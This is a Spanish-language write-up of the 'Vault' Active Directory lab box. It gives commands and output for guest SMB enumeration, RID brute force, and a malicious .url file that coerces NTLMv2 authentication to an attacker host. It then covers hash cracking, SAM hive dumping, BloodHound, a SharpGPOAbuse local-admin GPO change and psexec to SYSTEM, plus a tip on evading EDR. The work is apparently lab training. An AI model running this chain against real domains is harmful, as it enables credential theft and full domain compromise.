Vault
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Cadena AD que arranca con SMBguesthabilitado, RID brute que descubreanirudh, un fichero.url(IconFile=\\...) subido a la shareDocumentsSharepara forzar coacción NTLMv2 hacia Responder, crack aSecureHM, y en BloodHound se ve queanirudhtieneWriteOwner/WriteDacl/GenericWritesobre laDefault Domain PolicyGPO, así que con SharpGPOAbuse--AddLocalAdminsobre esa GPO añade aanirudhcomo Administrador local del DC.
Reconocimiento
Escaneo inicial
El escaneo de puertos combina un barrido UDP y un TCP completo:
ping -c 1 192.168.125.172 # ttl=125 → Windows
sudo nmap -sU --top-ports 1000 -Pn -n --open 192.168.125.172
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.125.172Un DC de vault.offsec con la trilogía habitual (53/88/135/389/445/464/593/636/3268/3269/3389/5985/9389) y sin nada raro fuera del pack AD.
El propio escaneo revela el dominio (vault.offsec) y el nombre del controlador (DC.vault.offsec) en los certificados LDAP y en el smb2 del host. Como Kerberos y LDAP resuelven por nombre, esos dos alias se añaden al /etc/hosts antes de seguir:
nano /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.125.172 vault.offsec DC.vault.offsecAcceso como anirudh
SMB con guest + RID brute
Lo primero es probar la sesión nula (usuario y contraseña vacíos), que es lo más barato: si el DC la acepta, enumera sin credenciales. Aquí no, responde STATUS_ACCESS_DENIED. Pero eso no cierra la vía, solo obliga a probar la siguiente cuenta sin contraseña: guest, que sí está habilitada y devuelve el listado de shares (DocumentsShare es la que interesa):
nxc smb 192.168.125.172 -u '' -p ''
nxc smb 192.168.125.172 -u 'guest' -p '' --shares
SMB 192.168.125.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec)
SMB 192.168.125.172 445 DC [-] vault.offsec\: STATUS_ACCESS_DENIED
SMB 192.168.125.172 445 DC [+] vault.offsec\guest:
SMB 192.168.125.172 445 DC [*] Enumerated shares
SMB 192.168.125.172 445 DC Share Permissions Remark
SMB 192.168.125.172 445 DC ----- ----------- ------
SMB 192.168.125.172 445 DC ADMIN$ Remote Admin
SMB 192.168.125.172 445 DC C$ Default share
SMB 192.168.125.172 445 DC DocumentsShare READ,WRITE
SMB 192.168.125.172 445 DC IPC$ READ Remote IPC
SMB 192.168.125.172 445 DC NETLOGON Logon server share
SMB 192.168.125.172 445 DC SYSVOL Logon server shareCon guest se pueden listar shares, pero no hay una lista de usuarios del dominio, y sin usuarios no hay nada contra lo que autenticarse. La forma de sacarla desde una cuenta tan limitada es el RID brute: recorrer los identificadores relativos del SID del dominio pidiendo el nombre asociado a cada uno. Así aparecen cuentas del dominio, entre ellas anirudh (usuario real, no de sistema):
nxc smb 192.168.125.172 -u 'guest' -p '' --rid-brute | grep -i user \
| awk '{print $6}' | tr '\\' ' ' | cut -d ' ' -f2 > users
cat users
Administrator
Guest
krbtgt
Domain
Protected
DC$
anirudh.url a Responder - captura NTLMv2 de anirudh
Se prepara un fichero de acceso directo (InternetShortcut) con un IconFile=\\<atacante>\... para que Windows, al indexar la carpeta que contiene el .url, intente resolver ese UNC y termine autenticando NTLMv2 contra la IP del atacante.
[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\192.168.45.164\%USERNAME%.icon
IconIndex=1
Se sube por guest a DocumentsShare y Responder captura el hash NTLMv2 del usuario que indexe la share (anirudh, con permisos de lectura sobre esa carpeta).
sudo responder -I tun0 -wv
smbclient //192.168.125.172/DocumentsShare
smb: \> put evil.url
[SMB] NTLMv2-SSP Client : 192.168.125.172
[SMB] NTLMv2-SSP Username : VAULT\anirudh
[SMB] NTLMv2-SSP Hash : anirudh::VAULT:927665ad8c0a3670:93733543BA4C69911E06506CCB401490:0101000000000000<SNIP>Crack del NTLMv2 → SecureHM
john --wordlist=/usr/share/wordlists/rockyou.txt anirudh_nt_hash
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
SecureHM (anirudh)
1g 0:00:00:02 DONE (2026-03-25 13:29) 0.3968g/s 4211Kp/s 4211Kc/s 4211KC/s Seijaa..Sarahs07Evil-WinRM como anirudh
anirudh está en Remote Management Users del DC:
evil-winrm -i 192.168.125.172 -u anirudh -p SecureHM
Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\anirudh\Desktop> whoami
vault\anirudhPrivilegios de anirudh y volcado del SAM (vía descartada)
Lo primero dentro de una sesión es mirar qué privilegios trae el token, porque varios de ellos son escalada por sí solos. Aquí aparecen SeBackupPrivilege y SeRestorePrivilege habilitados, que permiten leer (y escribir) cualquier fichero saltándose las ACL, así que el movimiento evidente es sacar las hives del registro con reg save y descargarlas:
whoami /priv
reg save hklm\sam C:\temp\sam.hive
reg save hklm\system C:\temp\system.hive
download C:\\temp\\sam.hive
download C:\\temp\\system.hive
PRIVILEGES INFORMATION
Privilege Name Description State
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
The operation completed successfully.
The operation completed successfully.
Info: Downloading C:\temp\sam.hive to sam.hive
Info: Download successful!
Info: Downloading C:\temp\system.hive to system.hive
Info: Download successful!Las hives se descargan sin problema, pero no llevan a ningún sitio: en un controlador de dominio el SAM guarda las cuentas locales de la máquina (y un DC apenas tiene, más allá de la de DSRM); las credenciales del dominio viven en NTDS.dit. Con SeBackupPrivilege ese fichero también sería alcanzable, pero la ruta que acabó abriendo la caja fue otra y más directa: los permisos de anirudh sobre una GPO. Se deja aquí porque es la comprobación que cualquiera haría en ese punto, y saber por qué no sirve ahorra el rodeo.
Escalada de Privilegios
BloodHound - anirudh sobre Default Domain Policy
Con credenciales válidas ya se puede recolectar el dominio entero por LDAP. bloodhound-python deja un .zip con los ficheros JSON, y para visualizarlo se levanta la interfaz de BloodHound CE con bloodhound-cli (repo), que despliega los contenedores (Postgres, neo4j y la web) con un solo comando:
bloodhound-python -u anirudh -p SecureHM -ns 192.168.125.172 \
--zip -c All -d vault.offsec
wget https://github.com/SpecterOps/bloodhound-cli/releases/download/v0.1.6/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install
INFO: Found AD domain: vault.offsec
INFO: Connecting to LDAP server: dc.vault.offsec
INFO: Found 5 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Querying computer: DC.vault.offsec
INFO: Compressing output into 20260325162540_bloodhound.zipSolo 2 GPOs en todo el dominio, lo que estrecha mucho el sitio donde mirar. El grafo de "Pathfinding" de anirudh a administrator cruza por DEFAULT DOMAIN POLICY con tres aristas de escritura (WriteOwner, WriteDacl, GenericWrite). Es decir, anirudh puede modificar la GPO que aplica sobre todos los usuarios del dominio (incluido USERS, que contiene a Administrator).

SharpGPOAbuse - --AddLocalAdmin
SharpGPOAbuse (repo) inyecta directivas en un GPO existente. Con --AddLocalAdmin, la GPO le pide a los equipos afectados que añadan la cuenta indicada al grupo Administrators local. Como la Default Domain Policy aplica al DC, al gpupdate /force la propia máquina añade a anirudh como Local Administrator del DC.
# Subir el binario por evil-winrm
upload SharpGPOAbuse.exe
# Ejecutar contra la Default Domain Policy
.\SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Default Domain Policy" --UserAccount anirudh
gpupdate /force
[+] Domain = vault.offsec
[+] Domain Controller = DC.vault.offsec
[+] GUID of "Default Domain Policy" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
C:\Users\anirudh\Desktop> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.PSExec como Administrator
Con anirudh en Administrators locales del DC, impacket-psexec ofrece la shell como SYSTEM:
impacket-psexec anirudh:SecureHM@192.168.125.172
[*] Requesting shares on 192.168.125.172.....
[*] Found writable share ADMIN$
[*] Uploading file kxWMEgtr.exe
[*] Opening SVCManager on 192.168.125.172.....
[*] Creating service dZtJ on 192.168.125.172.....
[*] Starting service dZtJ.....
Microsoft Windows [Version 10.0.17763.2300]
C:\Windows\system32> whoami
nt authority\systemlocal.txt / proof.txt
C:\Users\anirudh\Desktop>type local.txt && whoami
5b944075f7ff45a7d34d36ee38b5bd82
vault\anirudhC:\Windows\system32>type C:\Users\Administrator\Desktop\proof.txt
e694039c0a406cfec924d6feb9e5d040
nt authority\system
Cadena de ataque
SMB guest habilitado
└─ nxc rid-brute -> lista de usuarios (anirudh)
└─ evil.url en DocumentsShare + Responder
└─ NTLMv2 anirudh -> john -> SecureHM
└─ evil-winrm -> anirudh
└─ BloodHound: WriteOwner/WriteDacl/GenericWrite sobre Default Domain Policy
└─ SharpGPOAbuse --AddLocalAdmin --GPOName "Default Domain Policy"
└─ gpupdate /force -> anirudh Local Administrator del DC
└─ impacket-psexec -> SYSTEMLecciones aprendidas
guesthabilitado convierte SMB en una superficie de enumeración anónima;--rid-brutees la mecánica para recorrer los RIDs y sacar cuentas por servidor.- El SCF/URL attack con
IconFile=\\atacante\..sigue siendo la técnica de coacción NTLMv2 más rentable: cualquier usuario que abra la carpeta con el fichero autentica en el atacante sin darse cuenta. - Los NTLMv2 son crackeables offline con diccionario si la contraseña es débil;
SecureHMcae en un segundo con rockyou. - BloodHound trata las GPOs como objetos con DACL: si un principal tiene
WriteOwner/WriteDacl/GenericWritesobre una GPO que aplica a un OU con usuarios/equipos privilegiados, esa GPO es la puerta a esos objetos. SharpGPOAbuse --AddLocalAdmines el atajo más limpio: modifica la GPO existente (no crea una nueva), añaderestricted groupscon la cuenta indicada, y en el siguientegpupdatelos clientes cumplen. El uso masivo lo detecta cualquier EDR moderno, así que en escenarios reales conviene ser más quirúrgico (--AddUserRights SeTakeOwnershipPrivilege, etc.).